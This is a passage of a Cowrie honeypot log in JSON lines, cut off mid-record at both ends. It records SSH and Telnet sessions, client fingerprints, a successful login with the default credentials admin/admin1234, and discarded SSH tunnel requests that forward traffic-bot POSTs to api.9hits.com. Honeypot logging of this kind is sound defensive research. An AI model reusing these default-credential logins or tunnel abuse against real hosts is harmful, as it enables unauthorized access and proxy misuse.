1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G935K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=a2U3TTx4NilHPktBTjQmTw%3D%3DaaPEENxMz%2FktVHgmXTWfhWpLuKqL62RMKLzJR5U3tlHPergFeJOS1JsPwxzAzE93fn7FX4MvHovR5y%2FGskosEkK9ZNkrH4KGvC%2FlBmlp9aFCgCsYCf9%2BRCDpPg7qdjFpGM4j6uhXppD1scSn%2F7L6NFVlGZwWx79pad4MwlJzyS%2FSUuqwODIYJpVUJZqiYcgkHGhBXtzSU52inVEO6JQ00MXTFQylWXlWYVznRXZkgA0YvExlDV3jPbo%2FqezCZrS50E9xlT3eqXaPzkQeTGlVW7vIAPsKzHjKdendise1O8FeWTjRIZ%2FA7GjgKzjyb7Zx1z3fDomG2RT9OxEBfluFOK9gD1oiPzpIaYnxjfViPfIfHp%2BIeQD3S2q2vOQPqGlgkUbxpprUaxUauHdtCqIZsHtks0CahtJtIQWoByUJu9Q%2BhDUhsiSokA5B1gugax%2FO0%2BEpIy2YBep3Fv%2BPavFbcw5L74XHThCXzWoLA%2BAdplK4mSKAgsTHq%2FG0dz1EdlMSItsbSaYNPRxGyp4zqtn%2FXEWHatkCoc2w0kQTiB3w2Q%2FuPSfNUGkOAUijOgNsbHIsz7OrDM%2Bw75J%2B1yz4VTqVwOxC5AKNhMxghCbRy9sPLaUp9VgjtawVcFQzIt%2BCJuT0DyHcwFAKqTqURlo9f2n5e%2BN6QPzHsHKB1SVU2eIvVmhGq3s2vQoIyzrtec08k%2FN7aXS44Kc4LSFZSNyRUJeZZ7dVv6e4sCp55k%2F%2FKPhiqeOh4R2mN6WUol2D9P3aJ77Y6W6hS0lfcyK%2BvPz9eMsuVUljZDVm5D7b1gKteV5%2F%2BLOZa4vmDMxzO%2Fpcg%2FxAldLGzx8nWTkjEfVG2cN%2FeyJEVoDvyWmSsPSPGVmNiPMSdMCUY9gPZWzVlz6H0RuKwTEysX6Y3a5oBAaEskPaFlk80%2B8WcvVHzof%2Fs%2Bhs%2FqaRlXhww60xt8uuYbLKwfMGfvGmN8dz0IjZ7xIdImQhIinnmyFtdSUUMHiIkrJAv15li%2FxmSdV96eAWvuH037FAUqym7HwT2zLSilnb%2FY0UVfkH%2BJGRUcNuknKpcusim6zPP5Jh91ChrzkDuvpvi1T7WuPb'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:37.592596Z","src_ip":"23.175.50.51","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:37.601976Z","src_ip":"23.175.50.51","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbb0\\x84\\xba\\x91\\xd4\\x8b \\x86~\\xae\\x7f\\x14\\xa9\\xfb+X@\\\\N\\xf4g\\xc8\\xc0\\x83\\xb1\\xe8\\xc7\\xa2c\\xc7c :2\\xd7\\xc7M\\xb3\\x1bS\\xb0S\\x01\\xf2\\xde\\x17o\\x1d\\x1ehKG7\\x97i\\x16\\xd5\\x1f>\\x80bw\\x88\\x9b\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0b\\xb2\\xc8\\x03I\\xfc\\x12\\x0b\\xb2F\\xcb^\\xec\\x01>+\\xa5\\xaa\\x9f\\xeeM\\x817.\\x10\\xe6\\xa1\\x8c\\xf7\\x84t\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbb0\\x84\\xba\\x91\\xd4\\x8b \\x86~\\xae\\x7f\\x14\\xa9\\xfb+X@\\\\N\\xf4g\\xc8\\xc0\\x83\\xb1\\xe8\\xc7\\xa2c\\xc7c :2\\xd7\\xc7M\\xb3\\x1bS\\xb0S\\x01\\xf2\\xde\\x17o\\x1d\\x1ehKG7\\x97i\\x16\\xd5\\x1f>\\x80bw\\x88\\x9b\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0b\\xb2\\xc8\\x03I\\xfc\\x12\\x0b\\xb2F\\xcb^\\xec\\x01>+\\xa5\\xaa\\x9f\\xeeM\\x817.\\x10\\xe6\\xa1\\x8c\\xf7\\x84t\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:37.605705Z","src_ip":"23.175.50.51","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:38.130937Z","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:38.192933Z","src_ip":"23.175.50.51","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03=*\\x80\\xdde\\x19\\xf5J\\xc2\\x97\\xe6H\\x00\\x1a\\xb9\\xfcs9H\\xfb{\\xfa\\x9e\\xeb\\x84\\xd6\\x12:#8p\\x86 \\xb8p\\xd7\\xc5-\\xec\\xcd\\xac\\xfd\\x98\\x8f\\xa5\\xb1\\xa5\\xc7I\\xa3qB=\\x91\\xfc\\x070\\x80\\x9d\\xff\\x9a\\xe11S\\x1e\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x97\\x021\\x1f\\xbcB\\xa4\\x1fZ\\xd5\\xdc\\x80\\xa9\\x84\\x1cE\\x11\\x19\\x04KlM\\xaa\\x98\\xef\\x89\\xf5\\x9f\\xde\\xc2\\xd21\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03=*\\x80\\xdde\\x19\\xf5J\\xc2\\x97\\xe6H\\x00\\x1a\\xb9\\xfcs9H\\xfb{\\xfa\\x9e\\xeb\\x84\\xd6\\x12:#8p\\x86 \\xb8p\\xd7\\xc5-\\xec\\xcd\\xac\\xfd\\x98\\x8f\\xa5\\xb1\\xa5\\xc7I\\xa3qB=\\x91\\xfc\\x070\\x80\\x9d\\xff\\x9a\\xe11S\\x1e\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x97\\x021\\x1f\\xbcB\\xa4\\x1fZ\\xd5\\xdc\\x80\\xa9\\x84\\x1cE\\x11\\x19\\x04KlM\\xaa\\x98\\xef\\x89\\xf5\\x9f\\xde\\xc2\\xd21\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:38.196594Z","src_ip":"23.175.50.51","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.6919572353363,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:40.905703Z","src_ip":"94.23.66.112","session":"d844eb237ba1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"24.1","message":"Connection lost after 24.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:43.000837Z","src_ip":"23.175.50.51","session":"f6d3a4cfda81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":63555,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae521c0000ea","protocol":"ssh","message":"New connection: 38.46.222.137:63555 (10.17.0.5:22) [session: ae521c0000ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:55.709704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:55.713927Z","src_ip":"38.46.222.137","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:55.895943Z","src_ip":"38.46.222.137","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:56.771950Z","src_ip":"38.46.222.137","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:59.823389Z","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:25:59.962316Z","src_ip":"38.46.222.137","session":"ae521c0000ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.111 Mobile/14B72 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=e1puZjBaQD44WWhXI1RiTg%3D%3DL3gAs8H%2BpVa9HJPlfVXI8%2BwSDw8Lf9ISluJrX73%2BeSAycaKcwB1T11qMrQ0hpWngXapOFvp8AwEs4XE85b6XEvfq3AUX5xiueZrRXY8NTI3UggMz1mjT%2BR%2FwgzNFn6uaJcOp9EbrWHrMzYhJTmJntVs3eKcpa%2F9%2Bk1KDGTLdZfrl7sh0pns1H4q9ZDnE0lfmiTsxYX5cftzSF6loQjHB%2BDvIgDzRKaXOs9YtG1U9SWfX4riweIdgd1%2BgZgAt9VGXrbRlAoAExQ%2FzW3YFc8u3RUTttsFqqR80C9mLxGDnQ7mLU7W4zjDt2FtwiAI8xqeCARKhBohxEWs%2BRd3xL%2FMYQWw8lELSaMaWaIulehEBT34nYyX7sNZwK4HVAF4xkH3bCD9RWTRSg79VzVB%2FxoWHSalUhJoF0rlEv23bUBP%2BwtPzXqR716ZIB9CGdScV9xD%2FgZJi6SKkT0SezGV3vPr0eikM8gUpAYArA3tstpAqB3I5PnuJMoo3TiRRc%2BV2JtYaSCp2bOcOypK2B1E8h77ElwWYxQtnZE0uF%2FoBQjuU4CilEUf8JDx6%2BoFU%2B0hA9DMMIulxeeB8fGy5otjizW8ebKXNYo2HondGKk4RX5g5EoGVxtcEjL5WRtrqr%2FemfmdMdcV8OD7pTALKnuxWJPFd91sRgBtW9g%2BSI9sZkWwDuP7HrRpopuZEJtnFmuKgyHrtZFbgCwpuWrhBveRVpY9VA8WTFy3wwP8AsymNS5C9A5AJzkNg2VjGswAwipqWbDwkFUHzPj%2BhdyetOdjSJLCNW0m6v3xgM3sYY%2FyCqx%2FsDhrUJsgy1B6F8bi%2Fm%2BJtHtMPbDoHnC3PuaAMG1u1d6UB%2BWGL3%2BMif47w92qs8kBl4tEQ0JzpF7VQhfjGez28pvmDfUKw0WOFlwk3I%2BbatY2UXc3jdVTyTiHqc9HQItGqVHJntePD1Bo22sjUsm0QfLdhi22Z%2B2dHbh7Wbq0AiAJHbKAKPqtaSmuM%2FTxJf6ZrI5r6dr5N2fP%2Bd5%2FOt50J3kWqvcYqfFQMTS4MObXymRnDtNlcigM1ES56HbS2tjNoE5ODNE5N9gKpC8SQJPSnZCeU'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.111 Mobile/14B72 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=e1puZjBaQD44WWhXI1RiTg%3D%3DL3gAs8H%2BpVa9HJPlfVXI8%2BwSDw8Lf9ISluJrX73%2BeSAycaKcwB1T11qMrQ0hpWngXapOFvp8AwEs4XE85b6XEvfq3AUX5xiueZrRXY8NTI3UggMz1mjT%2BR%2FwgzNFn6uaJcOp9EbrWHrMzYhJTmJntVs3eKcpa%2F9%2Bk1KDGTLdZfrl7sh0pns1H4q9ZDnE0lfmiTsxYX5cftzSF6loQjHB%2BDvIgDzRKaXOs9YtG1U9SWfX4riweIdgd1%2BgZgAt9VGXrbRlAoAExQ%2FzW3YFc8u3RUTttsFqqR80C9mLxGDnQ7mLU7W4zjDt2FtwiAI8xqeCARKhBohxEWs%2BRd3xL%2FMYQWw8lELSaMaWaIulehEBT34nYyX7sNZwK4HVAF4xkH3bCD9RWTRSg79VzVB%2FxoWHSalUhJoF0rlEv23bUBP%2BwtPzXqR716ZIB9CGdScV9xD%2FgZJi6SKkT0SezGV3vPr0eikM8gUpAYArA3tstpAqB3I5PnuJMoo3TiRRc%2BV2JtYaSCp2bOcOypK2B1E8h77ElwWYxQtnZE0uF%2FoBQjuU4CilEUf8JDx6%2BoFU%2B0hA9DMMIulxeeB8fGy5otji